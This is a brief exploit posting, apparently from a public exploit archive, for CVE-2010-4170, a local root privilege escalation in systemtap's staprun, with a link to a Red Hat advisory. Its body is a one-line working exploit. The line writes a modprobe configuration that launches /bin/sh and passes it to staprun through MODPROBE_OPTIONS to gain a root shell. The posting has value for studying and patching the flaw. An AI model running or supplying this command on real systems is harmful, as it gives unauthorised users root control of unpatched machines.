Local Root Privilege Escalation Vulnerability in systemtap

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# Title : Local Root Privilege Escalation Vulnerability in systemtap
# Published : 2010-11-26
# Author : Tavis Ormandy
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CVE-2010-4170

printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever


RHEL Advisory:
https://rhn.redhat.com/errata/RHSA-2010-0894.html